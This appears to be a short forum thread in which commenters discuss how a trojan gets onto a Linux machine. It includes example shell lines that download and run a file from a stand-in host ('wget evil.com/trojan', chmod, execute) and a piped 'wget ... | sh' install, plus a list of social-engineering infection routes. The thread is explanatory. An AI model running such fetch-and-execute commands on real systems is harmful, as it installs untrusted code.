I read the article twice, but failed to find the attack vector. How would you get infected by this, short of running it yourself manually?
http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Computer_worm
$ wget evil.com/trojan
$ chmod +x trojan
$ ./trojan
Maybe it's more likely to hit those who double-click unwisely? sudo wget http://example.com/node/install.sh | sh
so it's not like it's only newbies who blindly run scripts as root.After downloading it asks for your password.
You trick people to install/run something. Mail with attachments, perhaps there's a vulnerability in a pdf reader, openoffice, some media player to exploit perhaps the user will actually run that executable you sent. Download links with added malware. Drop a custom usb key and exploit the USB stack.